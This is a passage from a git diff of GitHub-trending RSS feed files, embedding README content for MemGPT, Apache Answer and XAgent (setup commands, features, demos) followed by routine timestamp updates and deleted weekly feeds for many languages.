--archival_storage_files="memgpt/personas/examples/preload_archival/*.txt" --persona=memgpt_doc --human=basic </code></pre> </li> </ol> <p>If you would like to load your own local files into MemGPT's archival memory, run the command above but replace <code>--archival_storage_files="memgpt/personas/examples/preload_archival/*.txt"</code> with your own file glob expression (enclosed in quotes).</p> <h4>Enhance with embeddings search</h4> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt main.py --archival_storage_files_compute_embeddings="&lt;GLOB_PATTERN&gt;" --persona=memgpt_doc --human=basic </code></pre> <p>This will generate embeddings, stick them into a FAISS index, and write the index to a directory, and then output:</p> <pre><code> To avoid computing embeddings next time, replace --archival_storage_files_compute_embeddings=&lt;GLOB_PATTERN&gt; with --archival_storage_faiss_path=&lt;DIRECTORY_WITH_EMBEDDINGS&gt; (if your files haven't changed). </code></pre> <p>If you want to reuse these embeddings, run</p> <pre><code class="language-bash">memgpt --archival_storage_faiss_path="&lt;DIRECTORY_WITH_EMBEDDINGS&gt;" --persona=memgpt_doc --human=basic </code></pre> </details> <details> <summary><h3>Talking to LlamaIndex API Docs</h3></summary> <p>MemGPT also enables you to chat with docs -- try running this example to talk to the LlamaIndex API docs!</p> <ol> <li> <p>a. Download LlamaIndex API docs and FAISS index from <a href="https://huggingface.co/datasets/MemGPT/llamaindex-api-docs">Hugging Face</a>.</p> <pre><code class="language-bash"># Make sure you have git-lfs installed (https://git-lfs.com) git lfs install git clone https://huggingface.co/datasets/MemGPT/llamaindex-api-docs mv llamaindex-api-docs </code></pre> <p><strong>-- OR --</strong></p> <p>b. Build the index:</p> <ol> <li>Build <code>llama_index</code> API docs with <code>make text</code>. Instructions <a href="https://github.com/run-llama/llama_index/raw/main/docs/DOCS_README.md">here</a>. Copy over the generated <code>_build/text</code> folder to <code>memgpt/personas/docqa</code>.</li> <li>Generate embeddings and FAISS index. <pre><code class="language-bash">cd memgpt/personas/docqa python3 scrape_docs.py python3 generate_embeddings_for_docs.py all_docs.jsonl python3 build_index.py --embedding_files all_docs.embeddings.jsonl --output_index_file all_docs.index </code></pre> </li> </ol> </li> <li> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt --archival_storage_faiss_path=&lt;ARCHIVAL_STORAGE_FAISS_PATH&gt; --persona=memgpt_doc --human=basic </code></pre> <p>where <code>ARCHIVAL_STORAGE_FAISS_PATH</code> is the directory where <code>all_docs.jsonl</code> and <code>all_docs.index</code> are located. If you downloaded from Hugging Face, it will be <code>memgpt/personas/docqa/llamaindex-api-docs</code>. If you built the index yourself, it will be <code>memgpt/personas/docqa</code>.</p> </li> </ol> </details> <h2>Support</h2> <p>If you have any further questions, or have anything to share, we are excited to hear your feedback!</p> <ul> <li>By default MemGPT will use <code>gpt-4</code>, so your API key will require <code>gpt-4</code> API access</li> <li>For issues and feature requests, please <a href="https://github.com/cpacker/MemGPT/issues">open a GitHub issue</a> or message us on our <code>#support</code> channel on <a href="https://discord.gg/9GEQrxmVyE">Discord</a></li> </ul> <h2>Datasets</h2> <p>Datasets used in our <a href="https://arxiv.org/abs/2310.08560">paper</a> can be downloaded at <a href="https://huggingface.co/MemGPT">Hugging Face</a>.</p> <h2>🚀 Project Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> Release MemGPT Discord bot demo (perpetual chatbot)</li> <li><input type="checkbox" checked disabled> Add additional workflows (load SQL/text into MemGPT external context)</li> <li><input type="checkbox" checked disabled> Integration tests</li> <li><input type="checkbox" checked disabled> Integrate with AutoGen (<a href="https://github.com/cpacker/MemGPT/discussions/65">discussion</a>)</li> <li><input type="checkbox" checked disabled> Add official gpt-3.5-turbo support (<a href="https://github.com/cpacker/MemGPT/discussions/66">discussion</a>)</li> <li><input type="checkbox" checked disabled> CLI UI improvements (<a href="https://github.com/cpacker/MemGPT/issues/11">issue</a>)</li> <li><input type="checkbox" checked disabled> Add support for other LLM backends (<a href="https://github.com/cpacker/MemGPT/issues/18">issue</a>, <a href="https://github.com/cpacker/MemGPT/discussions/67">discussion</a>)</li> <li><input type="checkbox" disabled> Release MemGPT family of open models (eg finetuned Mistral) (<a href="https://github.com/cpacker/MemGPT/discussions/67">discussion</a>)</li> </ul> <h2>Development</h2> <p><em>Reminder: if you do not plan on modifying the source code, simply install MemGPT with <code>pip install pymemgpt</code>!</em></p> <p>First, install Poetry using <a href="https://python-poetry.org/docs/#installing-with-the-official-installer">the official instructions here</a>.</p> <p>Then, you can install MemGPT from source with:</p> <pre><code>git clone git@github.com:cpacker/MemGPT.git poetry shell poetry install </code></pre> <p>We recommend installing pre-commit to ensure proper formatting during development:</p> <pre><code>pip install pre-commit pre-commit install pre-commit run --all-files </code></pre> <h3>Contributing</h3> <p>We welcome pull requests! Please run the formatter before submitting a pull request:</p> <pre><code>poetry run black . -l 140 </code></pre> - - - apache/incubator-answer - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/apache/incubator-answer - - <p>A Q&A platform software for teams at any scales. Whether it's a community forum, help center, or knowledge management platform, you can always count on Answer.</p><hr><a href="https://answer.dev"> <img alt="logo" src="https://raw.githubusercontent.com/apache/incubator-answer/main/docs/img/logo.svg?sanitize=true" height="99px"> </a> <h1>Answer - Build Q&amp;A platform</h1> <p>A Q&amp;A platform software for teams at any scales. Whether it’s a community forum, help center, or knowledge management platform, you can always count on Answer.</p> <p>To learn more about the project, visit <a href="https://answer.dev">answer.dev</a>.</p> <p><a href="https://github.com/answerdev/answer/raw/main/LICENSE"><img src="https://img.shields.io/github/license/answerdev/answer" alt="LICENSE"></a> <a href="https://golang.org/"><img src="https://img.shields.io/badge/language-go-blue.svg?sanitize=true" alt="Language"></a> <a href="https://reactjs.org/"><img src="https://img.shields.io/badge/language-react-blue.svg?sanitize=true" alt="Language"></a> <a href="https://goreportcard.com/report/github.com/answerdev/answer"><img src="https://goreportcard.com/badge/github.com/answerdev/answer" alt="Go Report Card"></a> <a href="https://discord.gg/Jm7Y4cbUej"><img src="https://img.shields.io/badge/discord-chat-5865f2?logo=discord&amp;logoColor=f5f5f5" alt="Discord"></a></p> <h2>Screenshots</h2> <p><img src="https://raw.githubusercontent.com/apache/incubator-answer/main/docs/img/screenshot.png" alt="screenshot"></p> <h2>Quick start</h2> <h3>Running with docker</h3> <pre><code class="language-bash">docker run -d -p 9080:80 -v answer-data:/data --name answer answerdev/answer:latest </code></pre> <p>For more information, see <a href="https://answer.dev/docs/installation">Installation</a></p> <h3>Plugins</h3> <p>Answer provides a plugin system for developers to create custom plugins and expand Answer’s features. You can find the <a href="https://answer.dev/docs/development/extending/">plugin documentation here</a>.</p> <p>We value your feedback and suggestions to improve our documentation. If you have any comments or questions, please feel free to contact us. We’re excited to see what you can create using our plugin system!</p> <p>You can also check out the <a href="https://github.com/answerdev/plugins">plugins here</a>.</p> <h2>Contributing</h2> <p>Contributions are always welcome!</p> <p>See <a href="https://answer.dev/docs/development/contributing/">CONTRIBUTING</a> for ways to get started.</p> <h2>License</h2> <p><a href="https://github.com/answerdev/answer/raw/main/LICENSE">Apache License 2.0</a></p> - - - OpenBMB/XAgent - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/OpenBMB/XAgent - - <p>An Autonomous LLM Agent for Complex Task Solving</p><hr><div align="center"> <h1> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/xagent_logo.png" height="40" align="texttop">XAgent</h1> </div> <div align="center"> <p><a href="https://twitter.com/XAgentTeam"><img src="https://img.shields.io/twitter/follow/XAgent?style=social" alt="Twitter"></a> <a href="https://discord.gg/zncs5aQkWZ"><img src="https://img.shields.io/badge/XAgent-Discord-purple?style=flat" alt="Discord"></a> <a href="https://opensource.org/license/apache-2-0/"><img src="https://img.shields.io/badge/License-Apache_2.0-green.svg?sanitize=true" alt="License: Apache 2.0"></a> <img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat" alt="Welcome"></p> </div> <p align="center"> <a>English</a> • <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/README_ZH.md">中文</a> </p> <p align="center"> <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/#Quickstart">Tutorial</a> • <a href="https://www.youtube.com/watch?v=QGkpd-tsFPA">Demo</a> • <a href="https://blog.x-agent.net/blog/xagent/">Blog</a> • <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/#Citation">Citation</a> </p> <h1>📖 Introduction</h1> <p>XAgent is an open-source experimental Large Language Model (LLM) driven autonomous agent that can automatically solve various tasks. It is designed to be a general-purpose agent that can be applied to a wide range of tasks. XAgent is still in its early stages, and we are working hard to improve it.</p> <p>🏆 Our goal is to create a super-intelligent agent that can solve any given task!</p> <p>We welcome diverse forms of collaborations, including full-time and part-time roles and more. If you are interested in the frontiers of agents and want to join us in realizing true autonomous agents, please contact us at <a href="mailto:xagentteam@gmail.com">xagentteam@gmail.com</a>.</p> <div align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/overview.png" alt="Overview of Xagent" width="700"> <br> <figcaption> Overview of XAgent. </figcaption> </div> <h2><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/xagent_logo.png" height="30" align="texttop"> XAgent</h2> <p>XAgent is designed with the following features:</p> <ul> <li><strong>Autonomy</strong>: XAgent can automatically solve various tasks without human participation.</li> <li><strong>Safety</strong>: XAgent is designed to run safely. All actions are constrained inside a docker container. Run it anyway!</li> <li><strong>Extensibility</strong>: XAgent is designed to be extensible. You can easily add new tools to enhance agent's abilities and even new agents!</li> <li><strong>GUI</strong>: XAgent provides a friendly GUI for users to interact with the agent. You can also use the command line interface to interact with the agent.</li> <li><strong>Cooperation with Human</strong>: XAgent can collaborate with you to tackle tasks. It not only has the capability to follow your guidance in solving complex tasks on the go but it can also seek your assistance when it encounters challenges.</li> </ul> <p>XAgent is composed of three parts:</p> <ul> <li><strong>🤖 Dispatcher</strong> is responsible for dynamically instantiating and dispatching tasks to different agents. It allows us to add new agents and improve the agents' abilities.</li> <li><strong>🧐 Planner</strong> is responsible for generating and rectifying plans for tasks. It divides tasks into subtasks and generates milestones for them, allowing agents to solve tasks step by step.</li> <li><strong>🦾 Actor</strong> is responsible for conducting actions to achieve goals and finish subtasks. The actor utilizes various tools to solve subtasks, and it can also collaborate with humans to solve tasks.</li> </ul> <div align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/loop.png" alt="Planner loop" width="700"> <br> <figcaption> The inner loop and outer loop mechanism of XAgent. </figcaption> </div> <h2>🧰 ToolServer</h2> <p>ToolServer is the server that provides XAgent with powerful and safe tools to solve tasks. It is a docker container that provides a safe environment for XAgent to run. Currently, ToolServer provides the following tools:</p> <ul> <li><strong>📝 File Editor</strong> provides a text editing tool to write, read, and modify files.</li> <li><strong>📘 Python Notebook</strong> provides an interactive Python notebook that can run Python code to validate ideas, draw figures, etc.</li> <li><strong>🌏 Web Browser</strong> provides a web browser to search and visit webpages.</li> <li><strong>🖥️ Shell</strong> provides a bash shell tool that can execute any shell commands, even install programs and host services.</li> <li><strong>🧩 Rapid API</strong> provides a tool to retrieve APIs from Rapid API and call them, which offers a wide range of APIs for XAgent to use. See <a href="https://github.com/OpenBMB/ToolBench">ToolBench</a> to get more information about the Rapid API collections. You can also easily add new tools to ToolServer to enhance XAgent's abilities.</li> </ul> <div> <a id="Quickstart"></a> </div> <h1>✨ Quickstart</h1> <h2>🛠️ Build and Setup ToolServer</h2> <p>ToolServer is where XAgent's action takes place. It is a docker container that provides a safe environment for XAgent to run. So you should install <code>docker</code> and <code>docker-compose</code> first. After that, you should build the docker image for ToolServer and start the docker container.</p> <pre><code class="language-bash">docker compose up </code></pre> <p>Refer <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/ToolServer/README.md">here</a> for detailed information about our ToolServer.</p> <p>If the ToolServer is updated, you have to rebuild the images:</p> <pre><code class="language-bash">docker compose build </code></pre> <h2>🎮 Setup and Run XAgent</h2> <p>After setting up ToolServer, you can start to run XAgent.</p> <ul> <li>Install requirements (Require Python &gt;= 3.10)</li> </ul> <pre><code class="language-bash">pip install -r requirements.txt </code></pre> <ul> <li>Configure XAgent</li> </ul> <ol> <li>You should configure XAgent in <code>assets/config.yml</code> before running it.</li> <li>At least one OpenAI key is provided in <code>assets/config.yml</code>, which is used to access OpenAI API. We highly recommend using <code>gpt-4-32k</code> to run XAgent; <code>gpt-4</code> is also OK for most simple tasks. In any case, at least one <code>gpt-3.5-turbo-16k</code> API key should be provided as a backup model. We do not test or recommend using <code>gpt-3.5-turbo</code> to run XAgent due to minimal context length; you should not try to run XAgent on that.</li> <li>If you want to change the config_file path for <code>XAgentServer</code>, you should modify the <code>CONFIG_FILE</code> value in <code>.env</code> file and restart the docker container.</li> </ol> <ul> <li>Run XAgent</li> </ul> <pre><code class="language-bash">python run.py --task "put your task here" --model "gpt-4" --config_file "assets/config.yml" </code></pre> <ol> <li> <p>You can use the argument <code>--upload_files</code> to select the initial files you want to submit to XAgent.</p> </li> <li> <p>The local workspace for your XAgent is in <code>local_workspace</code>, where you can find all the files generated by XAgent throughout the running process.</p> </li> <li> <p>After execution, the entire <code>workspace</code> in <code>ToolServerNode</code> will be copied to <code>running_records</code> for your convenience.</p> </li> <li> <p>Besides, in <code>running_records</code>, you can find all the intermediate steps information, e.g., task statuses, LLM's input-output pairs, used tools, etc.</p> </li> <li> <p>You can load from a record to reproduce a former run, just by setting <code>record_dir</code> in config(default to <code>Null</code>). The record is a system-level recording tied to the code version of XAgent. All running-config、query、code execution statuses (including errors)、server behavior will be documented.</p> </li> <li> <p>We have removed all sensitive information (including API keys) from the record so you can safely share it with others. In the near future, we will introduce more granular sharing options highlighting the contributions of humans during execution.</p> </li> </ol> <ul> <li>Run XAgent with GUI</li> </ul> <pre><code class="language-bash"># We ran the web ui docker when building the ToolServer network # run nginx in docker docker exec XAgent-Server systemctl start nginx </code></pre> <p>Build the docker image for XAgent-Server and start the docker container. You will see the XAgent Server listening on port <code>8090</code>. You could visit <code>http://localhost:5173</code> to interact with XAgent by using web UI. Refer <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/XAgentServer/README.md">here</a> for the detailed information about our GUI Demo.</p> <div> <a id="Demo"></a> </div> <h1>🎬 Demo</h1> <p>Here, we also show some cases of solving tasks by XAgent: You can check our live demo on <a href="https://www.x-agent.net/">XAgent Official Website</a>. We also provide a video demo and showcases of using XAgent here: <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/demo.gif" alt="Demo"></p> <h2>Case 1. Data Analysis: Demonstrating the Effectiveness of Dual-Loop Mechanism</h2> <p>We start with a case of aiding users in intricate data analysis. Here, our user submitted an <code>iris.zip</code> file to XAgent, seeking assistance in data analysis. XAgent swiftly broke down the task into four sub-tasks: (1) data inspection and comprehension, (2) verification of the system's Python environment for relevant data analysis libraries, (3) crafting data analysis code for data processing and analysis, and (4) compiling an analytical report based on the Python code's execution results. Here is a figure drawn by XAgent. <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/statistics.png" alt="Data Statics by XAgent"></p> <h2>Case 2. Recommendation: A New Paradigm of Human-Agent Interaction</h2> <p>Empowered with the unique capability to actively seek human assistance and collaborate in problem-solving, XAgent continues to redefine the boundaries of human-agent cooperation. As depicted in the screenshot below, a user sought XAgent's aid in recommending some great restaurants for a friendly gathering yet failed to provide specific details. Recognizing the insufficiency of the provided information, XAgent employed the AskForHumanHelp tool, prompting human intervention to elicit the user's preferred location, budget constraints, culinary preferences, and dietary restrictions. Armed with this valuable feedback, XAgent seamlessly generated tailored restaurant recommendations, ensuring a personalized and satisfying experience for the user and their friends.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/ask_for_human_help.png" alt="Illustration of Ask for Human Help of XAgent"></p> <h2>Case 3. Training Model: A Sophisticated Tool User</h2> <p>XAgent not only tackles mundane tasks but also serves as an invaluable aid in complex tasks such as model training. Here, we show a scenario where a user desires to analyze movie reviews and evaluate the public sentiment surrounding particular films. In response, XAgent promptly initiates the process by downloading the IMDB dataset to train a cutting-edge BERT model (see screenshot below), harnessing the power of deep learning. Armed with this trained BERT model, XAgent seamlessly navigates the intricate nuances of movie reviews, offering insightful predictions regarding the public's perception of various films.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_1.png" alt="bert_1"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_2.png" alt="bert_2"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_3.png" alt="bert_3"></p> <h2>📊 Evaluation</h2> <p>We conduct human preference evaluation to evaluate XAgent's performance. We prepare over 50 real-world complex tasks for assessment, which can be categorized into 5 classes: Search and Report, Coding and Developing, Data Analysis, Math, and Life Assistant. We compare the results of XAgent with <a href="https://github.com/Significant-Gravitas/AutoGPT">AutoGPT</a>, which shows a total win of XAgent over AutoGPT. All running records will be released soon.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/agent_comparison.png" alt="HumanPrefer"></p> <p>We report a significant improvement of XAgent over AutoGPT in terms of human preference.</p> <p>We also evaluate XAgent on the following benchmarks: <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/eval_on_dataset.png" alt="Benchmarks"></p> <div> <a id="Blog"></a> </div> <h1>🖌️ Blog</h1> <p>Our blog is available at <a href="https://blog.x-agent.net/">here</a>!</p> <div> <a id="Citation"></a> </div> <h1>🌟 Star History</h1> <p><a href="https://star-history.com/#openbmb/xagent&amp;Date"><img src="https://api.star-history.com/svg?repos=openbmb/xagent&amp;type=Date" alt="Star History Chart"></a></p> <h1>Citation</h1> <p>If you find our repo useful, please kindly consider citing:</p> <pre><code class="language-angular2">@misc{xagent2023, title={XAgent: An Autonomous Agent for Complex Task Solving}, author={XAgent Team}, year={2023}, } </code></pre> - - \ No newline at end of file diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml index 0e0518eec4f..63cbe327960 100644 --- a/alloy/daily/index.xml +++ b/alloy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alloy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:57Z + 2023-10-30T01:24:13Z Daily Trending of Alloy in GitHub \ No newline at end of file diff --git a/alloy/weekly/index.xml b/alloy/weekly/index.xml deleted file mode 100644 index efd4ad28c1f..00000000000 --- a/alloy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Alloy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:57Z - Weekly Trending of Alloy in GitHub - - \ No newline at end of file diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml index 0a9e052fa26..f98b0699cd6 100644 --- a/alpine-abuild/daily/index.xml +++ b/alpine-abuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alpine Abuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:56Z + 2023-10-30T01:24:14Z Daily Trending of Alpine Abuild in GitHub \ No newline at end of file diff --git a/alpine-abuild/weekly/index.xml b/alpine-abuild/weekly/index.xml deleted file mode 100644 index f6b7d34f4cc..00000000000 --- a/alpine-abuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Alpine Abuild Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:55Z - Weekly Trending of Alpine Abuild in GitHub - - \ No newline at end of file diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml index f8238c657a4..a3d2fffa894 100644 --- a/altium-designer/daily/index.xml +++ b/altium-designer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Altium Designer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:56Z + 2023-10-30T01:24:13Z Daily Trending of Altium Designer in GitHub \ No newline at end of file diff --git a/altium-designer/weekly/index.xml b/altium-designer/weekly/index.xml deleted file mode 100644 index 9dcc58a69cb..00000000000 --- a/altium-designer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Altium Designer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:56Z - Weekly Trending of Altium Designer in GitHub - - \ No newline at end of file diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml index ed85ad6e9d1..df6bbdf313c 100644 --- a/ampl/daily/index.xml +++ b/ampl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AMPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:01Z + 2023-10-30T01:24:17Z Daily Trending of AMPL in GitHub \ No newline at end of file diff --git a/ampl/weekly/index.xml b/ampl/weekly/index.xml deleted file mode 100644 index a23f6c11332..00000000000 --- a/ampl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AMPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:00Z - Weekly Trending of AMPL in GitHub - - \ No newline at end of file diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml index 2bbdcd7c0af..60d5e1d1a7c 100644 --- a/angelscript/daily/index.xml +++ b/angelscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AngelScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:59Z + 2023-10-30T01:24:16Z Daily Trending of AngelScript in GitHub \ No newline at end of file diff --git a/angelscript/weekly/index.xml b/angelscript/weekly/index.xml deleted file mode 100644 index 8b41bde4402..00000000000 --- a/angelscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AngelScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:58Z - Weekly Trending of AngelScript in GitHub - - \ No newline at end of file diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml index d35929d6797..0b4a080a3ac 100644 --- a/ant-build-system/daily/index.xml +++ b/ant-build-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ant Build System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:02Z + 2023-10-30T01:24:17Z Daily Trending of Ant Build System in GitHub \ No newline at end of file diff --git a/ant-build-system/weekly/index.xml b/ant-build-system/weekly/index.xml deleted file mode 100644 index 6bce6788524..00000000000 --- a/ant-build-system/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ant Build System Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:00Z - Weekly Trending of Ant Build System in GitHub - - \ No newline at end of file diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml index f295ba16be7..cf4750a86b8 100644 --- a/antlr/daily/index.xml +++ b/antlr/daily/index.xml @@ -1,7 +1,7 @@ GitHub ANTLR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:04Z + 2023-10-30T01:24:20Z Daily Trending of ANTLR in GitHub \ No newline at end of file diff --git a/antlr/weekly/index.xml b/antlr/weekly/index.xml deleted file mode 100644 index de3c2698ec7..00000000000 --- a/antlr/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ANTLR Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:03Z - Weekly Trending of ANTLR in GitHub - - \ No newline at end of file diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml index 3130b6650dc..ed442833c47 100644 --- a/apacheconf/daily/index.xml +++ b/apacheconf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ApacheConf Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:03Z + 2023-10-30T01:24:21Z Daily Trending of ApacheConf in GitHub \ No newline at end of file diff --git a/apacheconf/weekly/index.xml b/apacheconf/weekly/index.xml deleted file mode 100644 index 94ac1971264..00000000000 --- a/apacheconf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ApacheConf Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:04Z - Weekly Trending of ApacheConf in GitHub - - \ No newline at end of file diff --git a/apex/daily/index.xml b/apex/daily/index.xml index 66cc6097f2f..509c1b5c9d3 100644 --- a/apex/daily/index.xml +++ b/apex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:06Z + 2023-10-30T01:24:19Z Daily Trending of Apex in GitHub \ No newline at end of file diff --git a/apex/weekly/index.xml b/apex/weekly/index.xml deleted file mode 100644 index 18d5fbb7d98..00000000000 --- a/apex/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Apex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:05Z - Weekly Trending of Apex in GitHub - - - google/sf-evolve-forms - 2023-10-29T01:47:05Z - tag:github.com,2023-10-29:/google/sf-evolve-forms - - <p>A forms engine for Salesforce which allows record pages to be much more dynamic than is possible with out of the box features</p><hr> - - - hamedizadpanah/oncompletetrigg - 2023-10-29T01:47:05Z - tag:github.com,2023-10-29:/hamedizadpanah/oncompletetrigg - - <p></p><hr> - - \ No newline at end of file diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml index 47a46becb2f..5432aabd0b4 100644 --- a/api-blueprint/daily/index.xml +++ b/api-blueprint/daily/index.xml @@ -1,7 +1,7 @@ GitHub API Blueprint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:06Z + 2023-10-30T01:24:19Z Daily Trending of API Blueprint in GitHub \ No newline at end of file diff --git a/api-blueprint/weekly/index.xml b/api-blueprint/weekly/index.xml deleted file mode 100644 index 280e075076d..00000000000 --- a/api-blueprint/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub API Blueprint Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:02Z - Weekly Trending of API Blueprint in GitHub - - \ No newline at end of file diff --git a/apl/daily/index.xml b/apl/daily/index.xml index c6a940461f1..74bddb28754 100644 --- a/apl/daily/index.xml +++ b/apl/daily/index.xml @@ -1,7 +1,7 @@ GitHub APL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:08Z + 2023-10-30T01:24:22Z Daily Trending of APL in GitHub \ No newline at end of file diff --git a/apl/weekly/index.xml b/apl/weekly/index.xml deleted file mode 100644 index 1dc2acd681d..00000000000 --- a/apl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub APL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:06Z - Weekly Trending of APL in GitHub - - \ No newline at end of file diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml index a419bd00bbf..146b5764b5e 100644 --- a/apollo-guidance-computer/daily/index.xml +++ b/apollo-guidance-computer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apollo Guidance Computer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:09Z + 2023-10-30T01:24:23Z Daily Trending of Apollo Guidance Computer in GitHub \ No newline at end of file diff --git a/apollo-guidance-computer/weekly/index.xml b/apollo-guidance-computer/weekly/index.xml deleted file mode 100644 index 298afe5e6d6..00000000000 --- a/apollo-guidance-computer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Apollo Guidance Computer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:09Z - Weekly Trending of Apollo Guidance Computer in GitHub - - \ No newline at end of file diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml index a4a481b0443..6aa7ef65320 100644 --- a/applescript/daily/index.xml +++ b/applescript/daily/index.xml @@ -1,7 +1,14 @@ GitHub AppleScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:08Z + 2023-10-30T01:24:24Z Daily Trending of AppleScript in GitHub + + webkenny/alfred + 2023-10-30T01:24:24Z + tag:github.com,2023-10-30:/webkenny/alfred + + <p>A collection of my favorite scripts for Alfred</p><hr><h1>Alfred 2.0 Workflows by @webkenny</h1> <p>A collection of workflows for Alfred 2.0</p> <h2>Shortcat Alfred Launcher 0.01</h2> <p>This simple workflow launches Shortcat (with the "ui" keyword) and runs it with the Alfred query. It's a simple bridge between Shortcat and Alfred.</p> <p>Since SC is not scriptable (Yet!) this is merely a keypress simulation.</p> <p>WARNING: This workflow assumes you are using {CMD-SHIFT-SPACE} (the default) as your Shortcat trigger. If not, you may have to modify the AppleScript included in the workflow for your needs.</p> + \ No newline at end of file diff --git a/applescript/weekly/index.xml b/applescript/weekly/index.xml deleted file mode 100644 index 723b808205e..00000000000 --- a/applescript/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub AppleScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:09Z - Weekly Trending of AppleScript in GitHub - - - MildC/alfred_workflows - 2023-10-29T01:47:09Z - tag:github.com,2023-10-29:/MildC/alfred_workflows - - <p>Workflows for Alfred 2</p><hr><h1>Alfred Workflows</h1> <p>All shell scirpt action using zsh as default, but Alfred seems to use bash if zsh not available, so I don't bother modifiy that.</p> <p>Workflows for <a href="http://www.alfredapp.com/">Alfred 2</a></p> <h2>Open Folder in iTerm2</h2> <p>Open iTerm and then cd into a directory by using keyword 'cd'.</p> <p>The default directory will be the current active window.</p> <h2>Touch</h2> <p>Creates a file in the active Finder window</p> <h2>Open with Sublime Text 2</h2> <p>Open files or a folders in Sublime by using a Keyword 'subl'. This workflow is modified from <a 